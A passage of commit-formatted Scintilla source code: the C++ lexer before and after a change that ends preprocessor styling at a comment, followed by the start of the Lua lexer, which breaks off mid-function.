static inline bool IsStateComment(const int state) {
return ((state == SCE_C_COMMENT) ||
(state == SCE_C_COMMENTLINE) ||
(state == SCE_C_COMMENTDOC) ||
(state == SCE_C_COMMENTDOCKEYWORD) ||
(state == SCE_C_COMMENTDOCKEYWORDERROR));
}
static inline bool IsStateString(const int state) {
return ((state == SCE_C_STRING) || (state == SCE_C_VERBATIM));
}
static void ColouriseCppDoc(unsigned int startPos, int length, int initStyle, WordList *keywordlists[],
Accessor &styler) {
WordList &keywords = *keywordlists[0];
WordList &keywords2 = *keywordlists[1];
WordList &keywords3 = *keywordlists[2];
bool stylingWithinPreprocessor = styler.GetPropertyInt("styling.within.preprocessor") != 0;
// Do not leak onto next line
if (initStyle == SCE_C_STRINGEOL)
initStyle = SCE_C_DEFAULT;
int chPrevNonWhite = ' ';
int visibleChars = 0;
bool lastWordWasUUID = false;
StyleContext sc(startPos, length, initStyle, styler);
for (; sc.More(); sc.Forward()) {
if (sc.atLineStart && (sc.state == SCE_C_STRING)) {
// Prevent SCE_C_STRINGEOL from leaking back to previous line
sc.SetState(SCE_C_STRING);
}
// Handle line continuation generically.
if (sc.ch == '\\') {
if (sc.chNext == '\n' || sc.chNext == '\r') {
sc.Forward();
if (sc.ch == '\r' && sc.chNext == '\n') {
sc.Forward();
}
continue;
}
}
// Determine if the current state should terminate.
if (sc.state == SCE_C_OPERATOR) {
sc.SetState(SCE_C_DEFAULT);
} else if (sc.state == SCE_C_NUMBER) {
if (!IsAWordChar(sc.ch)) {
sc.SetState(SCE_C_DEFAULT);
}
} else if (sc.state == SCE_C_IDENTIFIER) {
if (!IsAWordChar(sc.ch) || (sc.ch == '.')) {
char s[100];
sc.GetCurrent(s, sizeof(s));
if (keywords.InList(s)) {
lastWordWasUUID = strcmp(s, "uuid") == 0;
sc.ChangeState(SCE_C_WORD);
} else if (keywords2.InList(s)) {
sc.ChangeState(SCE_C_WORD2);
}
sc.SetState(SCE_C_DEFAULT);
}
} else if (sc.state == SCE_C_PREPROCESSOR) {
if (stylingWithinPreprocessor) {
if (IsASpace(sc.ch)) {
sc.SetState(SCE_C_DEFAULT);
}
} else {
if (sc.atLineEnd) {
sc.SetState(SCE_C_DEFAULT);
}
}
} else if (sc.state == SCE_C_COMMENT) {
if (sc.Match('*', '/')) {
sc.Forward();
sc.ForwardSetState(SCE_C_DEFAULT);
}
} else if (sc.state == SCE_C_COMMENTDOC) {
if (sc.Match('*', '/')) {
sc.Forward();
sc.ForwardSetState(SCE_C_DEFAULT);
} else if (sc.ch == '@' || sc.ch == '\\') {
sc.SetState(SCE_C_COMMENTDOCKEYWORD);
}
} else if (sc.state == SCE_C_COMMENTLINE || sc.state == SCE_C_COMMENTLINEDOC) {
if (sc.atLineEnd) {
sc.SetState(SCE_C_DEFAULT);
visibleChars = 0;
}
} else if (sc.state == SCE_C_COMMENTDOCKEYWORD) {
if (sc.Match('*', '/')) {
sc.ChangeState(SCE_C_COMMENTDOCKEYWORDERROR);
sc.Forward();
sc.ForwardSetState(SCE_C_DEFAULT);
} else if (!IsADoxygenChar(sc.ch)) {
char s[100];
sc.GetCurrent(s, sizeof(s));
if (!isspace(sc.ch) || !keywords3.InList(s+1)) {
sc.ChangeState(SCE_C_COMMENTDOCKEYWORDERROR);
}
sc.SetState(SCE_C_COMMENTDOC);
}
} else if (sc.state == SCE_C_STRING) {
if (sc.ch == '\\') {
if (sc.chNext == '\"' || sc.chNext == '\'' || sc.chNext == '\\') {
sc.Forward();
}
} else if (sc.ch == '\"') {
sc.ForwardSetState(SCE_C_DEFAULT);
} else if (sc.atLineEnd) {
sc.ChangeState(SCE_C_STRINGEOL);
sc.ForwardSetState(SCE_C_DEFAULT);
visibleChars = 0;
}
} else if (sc.state == SCE_C_CHARACTER) {
if (sc.atLineEnd) {
sc.ChangeState(SCE_C_STRINGEOL);
sc.ForwardSetState(SCE_C_DEFAULT);
visibleChars = 0;
} else if (sc.ch == '\\') {
if (sc.chNext == '\"' || sc.chNext == '\'' || sc.chNext == '\\') {
sc.Forward();
}
} else if (sc.ch == '\'') {
sc.ForwardSetState(SCE_C_DEFAULT);
}
} else if (sc.state == SCE_C_REGEX) {
if (sc.ch == '\r' || sc.ch == '\n' || sc.ch == '/') {
sc.ForwardSetState(SCE_C_DEFAULT);
} else if (sc.ch == '\\') {
// Gobble up the quoted character
if (sc.chNext == '\\' || sc.chNext == '/') {
sc.Forward();
}
}
} else if (sc.state == SCE_C_VERBATIM) {
if (sc.ch == '\"') {
if (sc.chNext == '\"') {
sc.Forward();
} else {
sc.ForwardSetState(SCE_C_DEFAULT);
}
}
} else if (sc.state == SCE_C_UUID) {
if (sc.ch == '\r' || sc.ch == '\n' || sc.ch == ')') {
sc.SetState(SCE_C_DEFAULT);
}
}
// Determine if a new state should be entered.
if (sc.state == SCE_C_DEFAULT) {
if (sc.Match('@', '\"')) {
sc.SetState(SCE_C_VERBATIM);
sc.Forward();
} else if (IsADigit(sc.ch) || (sc.ch == '.' && IsADigit(sc.chNext))) {
if (lastWordWasUUID) {
sc.SetState(SCE_C_UUID);
lastWordWasUUID = false;
} else {
sc.SetState(SCE_C_NUMBER);
}
} else if (IsAWordStart(sc.ch) || (sc.ch == '@')) {
if (lastWordWasUUID) {
sc.SetState(SCE_C_UUID);
lastWordWasUUID = false;
} else {
sc.SetState(SCE_C_IDENTIFIER);
}
} else if (sc.Match('/', '*')) {
if (sc.Match("/**") || sc.Match("/*!")) { // Support of Qt/Doxygen doc. style
sc.SetState(SCE_C_COMMENTDOC);
} else {
sc.SetState(SCE_C_COMMENT);
}
sc.Forward(); // Eat the * so it isn't used for the end of the comment
} else if (sc.Match('/', '/')) {
if (sc.Match("///") || sc.Match("//!")) // Support of Qt/Doxygen doc. style
sc.SetState(SCE_C_COMMENTLINEDOC);
else
sc.SetState(SCE_C_COMMENTLINE);
} else if (sc.ch == '/' && IsOKBeforeRE(chPrevNonWhite)) {
sc.SetState(SCE_C_REGEX);
} else if (sc.ch == '\"') {
sc.SetState(SCE_C_STRING);
} else if (sc.ch == '\'') {
sc.SetState(SCE_C_CHARACTER);
} else if (sc.ch == '#' && visibleChars == 0) {
// Preprocessor commands are alone on their line
sc.SetState(SCE_C_PREPROCESSOR);
// Skip whitespace between # and preprocessor word
do {
sc.Forward();
} while ((sc.ch == ' ') && (sc.ch == '\t') && sc.More());
if (sc.atLineEnd) {
sc.SetState(SCE_C_DEFAULT);
}
} else if (isoperator(static_cast<char>(sc.ch))) {
sc.SetState(SCE_C_OPERATOR);
}
}
if (sc.atLineEnd) {
// Reset states to begining of colourise so no surprises
// if different sets of lines lexed.
chPrevNonWhite = ' ';
visibleChars = 0;
lastWordWasUUID = false;
}
if (!IsASpace(sc.ch)) {
chPrevNonWhite = sc.ch;
visibleChars++;
}
}
sc.Complete();
}
static bool IsStreamCommentStyle(int style) {
return style == SCE_C_COMMENT ||
style == SCE_C_COMMENTDOC ||
style == SCE_C_COMMENTDOCKEYWORD ||
style == SCE_C_COMMENTDOCKEYWORDERROR;
}
static void FoldCppDoc(unsigned int startPos, int length, int initStyle, WordList *[],
Accessor &styler) {
bool foldComment = styler.GetPropertyInt("fold.comment") != 0;
bool foldPreprocessor = styler.GetPropertyInt("fold.preprocessor") != 0;
bool foldCompact = styler.GetPropertyInt("fold.compact", 1) != 0;
unsigned int endPos = startPos + length;
int visibleChars = 0;
int lineCurrent = styler.GetLine(startPos);
int levelPrev = styler.LevelAt(lineCurrent) & SC_FOLDLEVELNUMBERMASK;
int levelCurrent = levelPrev;
char chNext = styler[startPos];
int styleNext = styler.StyleAt(startPos);
int style = initStyle;
for (unsigned int i = startPos; i < endPos; i++) {
char ch = chNext;
chNext = styler.SafeGetCharAt(i + 1);
int stylePrev = style;
style = styleNext;
styleNext = styler.StyleAt(i + 1);
bool atEOL = (ch == '\r' && chNext != '\n') || (ch == '\n');
if (foldComment && IsStreamCommentStyle(style)) {
if (!IsStreamCommentStyle(stylePrev)) {
levelCurrent++;
} else if (!IsStreamCommentStyle(styleNext) && !atEOL) {
// Comments don't end at end of line and the next character may be unstyled.
levelCurrent--;
}
}
if (foldComment && (style == SCE_C_COMMENTLINE)) {
if ((ch == '/') && (chNext == '/')) {
char chNext2 = styler.SafeGetCharAt(i + 2);
if (chNext2 == '{') {
levelCurrent++;
} else if (chNext2 == '}') {
levelCurrent--;
}
}
}
if (foldPreprocessor && (style == SCE_C_PREPROCESSOR)) {
if (ch == '#') {
unsigned int j=i+1;
while ((j<endPos) && IsASpaceOrTab(styler.SafeGetCharAt(j))) {
j++;
}
if (styler.Match(j, "region") || styler.Match(j, "if")) {
levelCurrent++;
} else if (styler.Match(j, "end")) {
levelCurrent--;
}
}
}
if (style == SCE_C_OPERATOR) {
if (ch == '{') {
levelCurrent++;
} else if (ch == '}') {
levelCurrent--;
}
}
if (atEOL) {
int lev = levelPrev;
if (visibleChars == 0 && foldCompact)
lev |= SC_FOLDLEVELWHITEFLAG;
if ((levelCurrent > levelPrev) && (visibleChars > 0))
lev |= SC_FOLDLEVELHEADERFLAG;
if (lev != styler.LevelAt(lineCurrent)) {
styler.SetLevel(lineCurrent, lev);
}
lineCurrent++;
levelPrev = levelCurrent;
visibleChars = 0;
}
if (!isspacechar(ch))
visibleChars++;
}
// Fill in the real level of the next line, keeping the current flags as they will be filled in later
int flagsNext = styler.LevelAt(lineCurrent) & ~SC_FOLDLEVELNUMBERMASK;
styler.SetLevel(lineCurrent, levelPrev | flagsNext);
}
static const char * const cppWordLists[] = {
"Primary keywords and identifiers",
"Secondary keywords and identifiers",
"Documentation comment keywords",
0,
};
LexerModule lmCPP(SCLEX_CPP, ColouriseCppDoc, "cpp", FoldCppDoc, cppWordLists);
LexerModule lmTCL(SCLEX_TCL, ColouriseCppDoc, "tcl", FoldCppDoc, cppWordLists);
<commit_msg>Jump out of preprocessor mode when a comment, // or /*, is found.<commit_after>// Scintilla source code edit control
/** @file LexCPP.cxx
** Lexer for C++, C, Java, and Javascript.
**/
// Copyright 1998-2002 by Neil Hodgson <neilh@scintilla.org>
// The License.txt file describes the conditions under which this software may be distributed.
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <stdio.h>
#include <stdarg.h>
#include "Platform.h"
#include "PropSet.h"
#include "Accessor.h"
#include "StyleContext.h"
#include "KeyWords.h"
#include "Scintilla.h"
#include "SciLexer.h"
static bool IsOKBeforeRE(const int ch) {
return (ch == '(') || (ch == '=') || (ch == ',');
}
static inline bool IsAWordChar(const int ch) {
return (ch < 0x80) && (isalnum(ch) || ch == '.' || ch == '_');
}
static inline bool IsAWordStart(const int ch) {
return (ch < 0x80) && (isalnum(ch) || ch == '_');
}
static inline bool IsADoxygenChar(const int ch) {
return (islower(ch) || ch == '$' || ch == '@' ||
ch == '\\' || ch == '&' || ch == '<' ||
ch == '>' || ch == '#' || ch == '{' ||
ch == '}' || ch == '[' || ch == ']');
}
static inline bool IsStateComment(const int state) {
return ((state == SCE_C_COMMENT) ||
(state == SCE_C_COMMENTLINE) ||
(state == SCE_C_COMMENTDOC) ||
(state == SCE_C_COMMENTDOCKEYWORD) ||
(state == SCE_C_COMMENTDOCKEYWORDERROR));
}
static inline bool IsStateString(const int state) {
return ((state == SCE_C_STRING) || (state == SCE_C_VERBATIM));
}
static void ColouriseCppDoc(unsigned int startPos, int length, int initStyle, WordList *keywordlists[],
Accessor &styler) {
WordList &keywords = *keywordlists[0];
WordList &keywords2 = *keywordlists[1];
WordList &keywords3 = *keywordlists[2];
bool stylingWithinPreprocessor = styler.GetPropertyInt("styling.within.preprocessor") != 0;
// Do not leak onto next line
if (initStyle == SCE_C_STRINGEOL)
initStyle = SCE_C_DEFAULT;
int chPrevNonWhite = ' ';
int visibleChars = 0;
bool lastWordWasUUID = false;
StyleContext sc(startPos, length, initStyle, styler);
for (; sc.More(); sc.Forward()) {
if (sc.atLineStart && (sc.state == SCE_C_STRING)) {
// Prevent SCE_C_STRINGEOL from leaking back to previous line
sc.SetState(SCE_C_STRING);
}
// Handle line continuation generically.
if (sc.ch == '\\') {
if (sc.chNext == '\n' || sc.chNext == '\r') {
sc.Forward();
if (sc.ch == '\r' && sc.chNext == '\n') {
sc.Forward();
}
continue;
}
}
// Determine if the current state should terminate.
if (sc.state == SCE_C_OPERATOR) {
sc.SetState(SCE_C_DEFAULT);
} else if (sc.state == SCE_C_NUMBER) {
if (!IsAWordChar(sc.ch)) {
sc.SetState(SCE_C_DEFAULT);
}
} else if (sc.state == SCE_C_IDENTIFIER) {
if (!IsAWordChar(sc.ch) || (sc.ch == '.')) {
char s[100];
sc.GetCurrent(s, sizeof(s));
if (keywords.InList(s)) {
lastWordWasUUID = strcmp(s, "uuid") == 0;
sc.ChangeState(SCE_C_WORD);
} else if (keywords2.InList(s)) {
sc.ChangeState(SCE_C_WORD2);
}
sc.SetState(SCE_C_DEFAULT);
}
} else if (sc.state == SCE_C_PREPROCESSOR) {
if (stylingWithinPreprocessor) {
if (IsASpace(sc.ch)) {
sc.SetState(SCE_C_DEFAULT);
}
} else {
if ((sc.atLineEnd) || (sc.Match('/', '*')) || (sc.Match('/', '/'))) {
sc.SetState(SCE_C_DEFAULT);
}
}
} else if (sc.state == SCE_C_COMMENT) {
if (sc.Match('*', '/')) {
sc.Forward();
sc.ForwardSetState(SCE_C_DEFAULT);
}
} else if (sc.state == SCE_C_COMMENTDOC) {
if (sc.Match('*', '/')) {
sc.Forward();
sc.ForwardSetState(SCE_C_DEFAULT);
} else if (sc.ch == '@' || sc.ch == '\\') {
sc.SetState(SCE_C_COMMENTDOCKEYWORD);
}
} else if (sc.state == SCE_C_COMMENTLINE || sc.state == SCE_C_COMMENTLINEDOC) {
if (sc.atLineEnd) {
sc.SetState(SCE_C_DEFAULT);
visibleChars = 0;
}
} else if (sc.state == SCE_C_COMMENTDOCKEYWORD) {
if (sc.Match('*', '/')) {
sc.ChangeState(SCE_C_COMMENTDOCKEYWORDERROR);
sc.Forward();
sc.ForwardSetState(SCE_C_DEFAULT);
} else if (!IsADoxygenChar(sc.ch)) {
char s[100];
sc.GetCurrent(s, sizeof(s));
if (!isspace(sc.ch) || !keywords3.InList(s+1)) {
sc.ChangeState(SCE_C_COMMENTDOCKEYWORDERROR);
}
sc.SetState(SCE_C_COMMENTDOC);
}
} else if (sc.state == SCE_C_STRING) {
if (sc.ch == '\\') {
if (sc.chNext == '\"' || sc.chNext == '\'' || sc.chNext == '\\') {
sc.Forward();
}
} else if (sc.ch == '\"') {
sc.ForwardSetState(SCE_C_DEFAULT);
} else if (sc.atLineEnd) {
sc.ChangeState(SCE_C_STRINGEOL);
sc.ForwardSetState(SCE_C_DEFAULT);
visibleChars = 0;
}
} else if (sc.state == SCE_C_CHARACTER) {
if (sc.atLineEnd) {
sc.ChangeState(SCE_C_STRINGEOL);
sc.ForwardSetState(SCE_C_DEFAULT);
visibleChars = 0;
} else if (sc.ch == '\\') {
if (sc.chNext == '\"' || sc.chNext == '\'' || sc.chNext == '\\') {
sc.Forward();
}
} else if (sc.ch == '\'') {
sc.ForwardSetState(SCE_C_DEFAULT);
}
} else if (sc.state == SCE_C_REGEX) {
if (sc.ch == '\r' || sc.ch == '\n' || sc.ch == '/') {
sc.ForwardSetState(SCE_C_DEFAULT);
} else if (sc.ch == '\\') {
// Gobble up the quoted character
if (sc.chNext == '\\' || sc.chNext == '/') {
sc.Forward();
}
}
} else if (sc.state == SCE_C_VERBATIM) {
if (sc.ch == '\"') {
if (sc.chNext == '\"') {
sc.Forward();
} else {
sc.ForwardSetState(SCE_C_DEFAULT);
}
}
} else if (sc.state == SCE_C_UUID) {
if (sc.ch == '\r' || sc.ch == '\n' || sc.ch == ')') {
sc.SetState(SCE_C_DEFAULT);
}
}
// Determine if a new state should be entered.
if (sc.state == SCE_C_DEFAULT) {
if (sc.Match('@', '\"')) {
sc.SetState(SCE_C_VERBATIM);
sc.Forward();
} else if (IsADigit(sc.ch) || (sc.ch == '.' && IsADigit(sc.chNext))) {
if (lastWordWasUUID) {
sc.SetState(SCE_C_UUID);
lastWordWasUUID = false;
} else {
sc.SetState(SCE_C_NUMBER);
}
} else if (IsAWordStart(sc.ch) || (sc.ch == '@')) {
if (lastWordWasUUID) {
sc.SetState(SCE_C_UUID);
lastWordWasUUID = false;
} else {
sc.SetState(SCE_C_IDENTIFIER);
}
} else if (sc.Match('/', '*')) {
if (sc.Match("/**") || sc.Match("/*!")) { // Support of Qt/Doxygen doc. style
sc.SetState(SCE_C_COMMENTDOC);
} else {
sc.SetState(SCE_C_COMMENT);
}
sc.Forward(); // Eat the * so it isn't used for the end of the comment
} else if (sc.Match('/', '/')) {
if (sc.Match("///") || sc.Match("//!")) // Support of Qt/Doxygen doc. style
sc.SetState(SCE_C_COMMENTLINEDOC);
else
sc.SetState(SCE_C_COMMENTLINE);
} else if (sc.ch == '/' && IsOKBeforeRE(chPrevNonWhite)) {
sc.SetState(SCE_C_REGEX);
} else if (sc.ch == '\"') {
sc.SetState(SCE_C_STRING);
} else if (sc.ch == '\'') {
sc.SetState(SCE_C_CHARACTER);
} else if (sc.ch == '#' && visibleChars == 0) {
// Preprocessor commands are alone on their line
sc.SetState(SCE_C_PREPROCESSOR);
// Skip whitespace between # and preprocessor word
do {
sc.Forward();
} while ((sc.ch == ' ') && (sc.ch == '\t') && sc.More());
if (sc.atLineEnd) {
sc.SetState(SCE_C_DEFAULT);
}
} else if (isoperator(static_cast<char>(sc.ch))) {
sc.SetState(SCE_C_OPERATOR);
}
}
if (sc.atLineEnd) {
// Reset states to begining of colourise so no surprises
// if different sets of lines lexed.
chPrevNonWhite = ' ';
visibleChars = 0;
lastWordWasUUID = false;
}
if (!IsASpace(sc.ch)) {
chPrevNonWhite = sc.ch;
visibleChars++;
}
}
sc.Complete();
}
static bool IsStreamCommentStyle(int style) {
return style == SCE_C_COMMENT ||
style == SCE_C_COMMENTDOC ||
style == SCE_C_COMMENTDOCKEYWORD ||
style == SCE_C_COMMENTDOCKEYWORDERROR;
}
static void FoldCppDoc(unsigned int startPos, int length, int initStyle, WordList *[],
Accessor &styler) {
bool foldComment = styler.GetPropertyInt("fold.comment") != 0;
bool foldPreprocessor = styler.GetPropertyInt("fold.preprocessor") != 0;
bool foldCompact = styler.GetPropertyInt("fold.compact", 1) != 0;
unsigned int endPos = startPos + length;
int visibleChars = 0;
int lineCurrent = styler.GetLine(startPos);
int levelPrev = styler.LevelAt(lineCurrent) & SC_FOLDLEVELNUMBERMASK;
int levelCurrent = levelPrev;
char chNext = styler[startPos];
int styleNext = styler.StyleAt(startPos);
int style = initStyle;
for (unsigned int i = startPos; i < endPos; i++) {
char ch = chNext;
chNext = styler.SafeGetCharAt(i + 1);
int stylePrev = style;
style = styleNext;
styleNext = styler.StyleAt(i + 1);
bool atEOL = (ch == '\r' && chNext != '\n') || (ch == '\n');
if (foldComment && IsStreamCommentStyle(style)) {
if (!IsStreamCommentStyle(stylePrev)) {
levelCurrent++;
} else if (!IsStreamCommentStyle(styleNext) && !atEOL) {
// Comments don't end at end of line and the next character may be unstyled.
levelCurrent--;
}
}
if (foldComment && (style == SCE_C_COMMENTLINE)) {
if ((ch == '/') && (chNext == '/')) {
char chNext2 = styler.SafeGetCharAt(i + 2);
if (chNext2 == '{') {
levelCurrent++;
} else if (chNext2 == '}') {
levelCurrent--;
}
}
}
if (foldPreprocessor && (style == SCE_C_PREPROCESSOR)) {
if (ch == '#') {
unsigned int j=i+1;
while ((j<endPos) && IsASpaceOrTab(styler.SafeGetCharAt(j))) {
j++;
}
if (styler.Match(j, "region") || styler.Match(j, "if")) {
levelCurrent++;
} else if (styler.Match(j, "end")) {
levelCurrent--;
}
}
}
if (style == SCE_C_OPERATOR) {
if (ch == '{') {
levelCurrent++;
} else if (ch == '}') {
levelCurrent--;
}
}
if (atEOL) {
int lev = levelPrev;
if (visibleChars == 0 && foldCompact)
lev |= SC_FOLDLEVELWHITEFLAG;
if ((levelCurrent > levelPrev) && (visibleChars > 0))
lev |= SC_FOLDLEVELHEADERFLAG;
if (lev != styler.LevelAt(lineCurrent)) {
styler.SetLevel(lineCurrent, lev);
}
lineCurrent++;
levelPrev = levelCurrent;
visibleChars = 0;
}
if (!isspacechar(ch))
visibleChars++;
}
// Fill in the real level of the next line, keeping the current flags as they will be filled in later
int flagsNext = styler.LevelAt(lineCurrent) & ~SC_FOLDLEVELNUMBERMASK;
styler.SetLevel(lineCurrent, levelPrev | flagsNext);
}
static const char * const cppWordLists[] = {
"Primary keywords and identifiers",
"Secondary keywords and identifiers",
"Documentation comment keywords",
0,
};
LexerModule lmCPP(SCLEX_CPP, ColouriseCppDoc, "cpp", FoldCppDoc, cppWordLists);
LexerModule lmTCL(SCLEX_TCL, ColouriseCppDoc, "tcl", FoldCppDoc, cppWordLists);
<|endoftext|>
|
<commit_before>// Scintilla source code edit control
/** @file LexLua.cxx
** Lexer for Lua language.
**
** Written by Paul Winwood.
** Folder by Alexey Yutkin.
** Modified by Marcos E. Wurzius & Philippe Lhoste
**/
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <stdarg.h>
#include <stdio.h>
#include "Platform.h"
#include "PropSet.h"
#include "Accessor.h"
#include "StyleContext.h"
#include "KeyWords.h"
#include "Scintilla.h"
#include "SciLexer.h"
#include "CharacterSet.h"
#ifdef SCI_NAMESPACE
using namespace Scintilla;
#endif
// Test for [=[ ... ]=] delimiters, returns 0 if it's only a [ or ],
// return 1 for [[ or ]], returns >=2 for [=[ or ]=] and so on.
// The maximum number of '=' characters allowed is 254.
static int LongDelimCheck(StyleContext &sc) {
int sep = 1;
while (sc.GetRelative(sep) == '=' && sep < 0xFF)
sep++;
if (sc.GetRelative(sep) == sc.ch)
return sep;
return 0;
}
static void ColouriseLuaDoc(
unsigned int startPos,
int length,
int initStyle,
WordList *keywordlists[],
Accessor &styler) {
WordList &keywords = *keywordlists[0];
WordList &keywords2 = *keywordlists[1];
WordList &keywords3 = *keywordlists[2];
WordList &keywords4 = *keywordlists[3];
WordList &keywords5 = *keywordlists[4];
WordList &keywords6 = *keywordlists[5];
WordList &keywords7 = *keywordlists[6];
WordList &keywords8 = *keywordlists[7];
// Accepts accented characters
CharacterSet setWordStart(CharacterSet::setAlpha, "_", 0x80, true);
CharacterSet setWord(CharacterSet::setAlphaNum, "._", 0x80, true);
// Not exactly following number definition (several dots are seen as OK, etc.)
// but probably enough in most cases.
CharacterSet setNumber(CharacterSet::setDigits, ".-+abcdefABCDEF");
CharacterSet setLuaOperator(CharacterSet::setNone, "*/-+()={}~[];<>,.^%:#");
CharacterSet setEscapeSkip(CharacterSet::setNone, "\"'\\");
int currentLine = styler.GetLine(startPos);
// Initialize long string [[ ... ]] or block comment --[[ ... ]] nesting level,
// if we are inside such a string. Block comment was introduced in Lua 5.0,
// blocks with separators [=[ ... ]=] in Lua 5.1.
int nestLevel = 0;
int sepCount = 0;
if (initStyle == SCE_LUA_LITERALSTRING || initStyle == SCE_LUA_COMMENT) {
int lineState = styler.GetLineState(currentLine - 1);
nestLevel = lineState >> 8;
sepCount = lineState & 0xFF;
}
// Do not leak onto next line
if (initStyle == SCE_LUA_STRINGEOL || initStyle == SCE_LUA_COMMENTLINE || initStyle == SCE_LUA_PREPROCESSOR) {
initStyle = SCE_LUA_DEFAULT;
}
StyleContext sc(startPos, length, initStyle, styler);
if (startPos == 0 && sc.ch == '#') {
// shbang line: # is a comment only if first char of the script
sc.SetState(SCE_LUA_COMMENTLINE);
}
for (; sc.More(); sc.Forward()) {
if (sc.atLineEnd) {
// Update the line state, so it can be seen by next line
currentLine = styler.GetLine(sc.currentPos);
switch (sc.state) {
case SCE_LUA_LITERALSTRING:
case SCE_LUA_COMMENT:
// Inside a literal string or block comment, we set the line state
styler.SetLineState(currentLine, (nestLevel << 8) | sepCount);
break;
default:
// Reset the line state
styler.SetLineState(currentLine, 0);
break;
}
}
if (sc.atLineStart && (sc.state == SCE_LUA_STRING)) {
// Prevent SCE_LUA_STRINGEOL from leaking back to previous line
sc.SetState(SCE_LUA_STRING);
}
// Handle string line continuation
if ((sc.state == SCE_LUA_STRING || sc.state == SCE_LUA_CHARACTER) &&
sc.ch == '\\') {
if (sc.chNext == '\n' || sc.chNext == '\r') {
sc.Forward();
if (sc.ch == '\r' && sc.chNext == '\n') {
sc.Forward();
}
continue;
}
}
// Determine if the current state should terminate.
if (sc.state == SCE_LUA_OPERATOR) {
sc.SetState(SCE_LUA_DEFAULT);
} else if (sc.state == SCE_LUA_NUMBER) {
// We stop the number definition on non-numerical non-dot non-eE non-sign non-hexdigit char
if (!setNumber.Contains(sc.ch)) {
sc.SetState(SCE_LUA_DEFAULT);
} else if (sc.ch == '-' || sc.ch == '+') {
if (sc.chPrev != 'E' && sc.chPrev != 'e')
sc.SetState(SCE_LUA_DEFAULT);
}
} else if (sc.state == SCE_LUA_IDENTIFIER) {
if (!setWord.Contains(sc.ch) || sc.Match('.', '.')) {
char s[100];
sc.GetCurrent(s, sizeof(s));
if (keywords.InList(s)) {
sc.ChangeState(SCE_LUA_WORD);
} else if (keywords2.InList(s)) {
sc.ChangeState(SCE_LUA_WORD2);
} else if (keywords3.InList(s)) {
sc.ChangeState(SCE_LUA_WORD3);
} else if (keywords4.InList(s)) {
sc.ChangeState(SCE_LUA_WORD4);
} else if (keywords5.InList(s)) {
sc.ChangeState(SCE_LUA_WORD5);
} else if (keywords6.InList(s)) {
sc.ChangeState(SCE_LUA_WORD6);
} else if (keywords7.InList(s)) {
sc.ChangeState(SCE_LUA_WORD7);
} else if (keywords8.InList(s)) {
sc.ChangeState(SCE_LUA_WORD8);
}
sc.SetState(SCE_LUA_DEFAULT);
}
} else if (sc.state == SCE_LUA_COMMENTLINE || sc.state == SCE_LUA_PREPROCESSOR) {
if (sc.atLineEnd) {
sc.ForwardSetState(SCE_LUA_DEFAULT);
}
} else if (sc.state == SCE_LUA_STRING) {
if (sc.ch == '\\') {
if (setEscapeSkip.Contains(sc.chNext)) {
sc.Forward();
}
} else if (sc.ch == '\"') {
sc.ForwardSetState(SCE_LUA_DEFAULT);
} else if (sc.atLineEnd) {
sc.ChangeState(SCE_LUA_STRINGEOL);
sc.ForwardSetState(SCE_LUA_DEFAULT);
}
} else if (sc.state == SCE_LUA_CHARACTER) {
if (sc.ch == '\\') {
if (setEscapeSkip.Contains(sc.chNext)) {
sc.Forward();
}
} else if (sc.ch == '\'') {
sc.ForwardSetState(SCE_LUA_DEFAULT);
} else if (sc.atLineEnd) {
sc.ChangeState(SCE_LUA_STRINGEOL);
sc.ForwardSetState(SCE_LUA_DEFAULT);
}
} else if (sc.state == SCE_LUA_LITERALSTRING || sc.state == SCE_LUA_COMMENT) {
if (sc.ch == '[') {
int sep = LongDelimCheck(sc);
if (sep == 1 && sepCount == 1) { // [[-only allowed to nest
nestLevel++;
sc.Forward();
}
} else if (sc.ch == ']') {
int sep = LongDelimCheck(sc);
if (sep == 1 && sepCount == 1) { // un-nest with ]]-only
nestLevel--;
sc.Forward();
if (nestLevel == 0) {
sc.ForwardSetState(SCE_LUA_DEFAULT);
}
} else if (sep > 1 && sep == sepCount) { // ]=]-style delim
sc.Forward(sep);
sc.ForwardSetState(SCE_LUA_DEFAULT);
}
}
}
// Determine if a new state should be entered.
if (sc.state == SCE_LUA_DEFAULT) {
if (IsADigit(sc.ch) || (sc.ch == '.' && IsADigit(sc.chNext))) {
sc.SetState(SCE_LUA_NUMBER);
if (sc.ch == '0' && toupper(sc.chNext) == 'X') {
sc.Forward();
}
} else if (setWordStart.Contains(sc.ch)) {
sc.SetState(SCE_LUA_IDENTIFIER);
} else if (sc.ch == '\"') {
sc.SetState(SCE_LUA_STRING);
} else if (sc.ch == '\'') {
sc.SetState(SCE_LUA_CHARACTER);
} else if (sc.ch == '[') {
sepCount = LongDelimCheck(sc);
if (sepCount == 0) {
sc.SetState(SCE_LUA_OPERATOR);
} else {
nestLevel = 1;
sc.SetState(SCE_LUA_LITERALSTRING);
sc.Forward(sepCount);
}
} else if (sc.Match('-', '-')) {
sc.SetState(SCE_LUA_COMMENTLINE);
if (sc.Match("--[")) {
sc.Forward(2);
sepCount = LongDelimCheck(sc);
if (sepCount > 0) {
nestLevel = 1;
sc.ChangeState(SCE_LUA_COMMENT);
sc.Forward(sepCount);
}
} else {
sc.Forward();
}
} else if (sc.atLineStart && sc.Match('$')) {
sc.SetState(SCE_LUA_PREPROCESSOR); // Obsolete since Lua 4.0, but still in old code
} else if (setLuaOperator.Contains(sc.ch)) {
sc.SetState(SCE_LUA_OPERATOR);
}
}
}
sc.Complete();
}
static void FoldLuaDoc(unsigned int startPos, int length, int /* initStyle */, WordList *[],
Accessor &styler) {
unsigned int lengthDoc = startPos + length;
int visibleChars = 0;
int lineCurrent = styler.GetLine(startPos);
int levelPrev = styler.LevelAt(lineCurrent) & SC_FOLDLEVELNUMBERMASK;
int levelCurrent = levelPrev;
char chNext = styler[startPos];
bool foldCompact = styler.GetPropertyInt("fold.compact", 1) != 0;
int styleNext = styler.StyleAt(startPos);
char s[10];
for (unsigned int i = startPos; i < lengthDoc; i++) {
char ch = chNext;
chNext = styler.SafeGetCharAt(i + 1);
int style = styleNext;
styleNext = styler.StyleAt(i + 1);
bool atEOL = (ch == '\r' && chNext != '\n') || (ch == '\n');
if (style == SCE_LUA_WORD) {
if (ch == 'i' || ch == 'd' || ch == 'f' || ch == 'e' || ch == 'r' || ch == 'u') {
for (unsigned int j = 0; j < 8; j++) {
if (!iswordchar(styler[i + j])) {
break;
}
s[j] = styler[i + j];
s[j + 1] = '\0';
}
if ((strcmp(s, "if") == 0) || (strcmp(s, "do") == 0) || (strcmp(s, "function") == 0) || (strcmp(s, "repeat") == 0)) {
levelCurrent++;
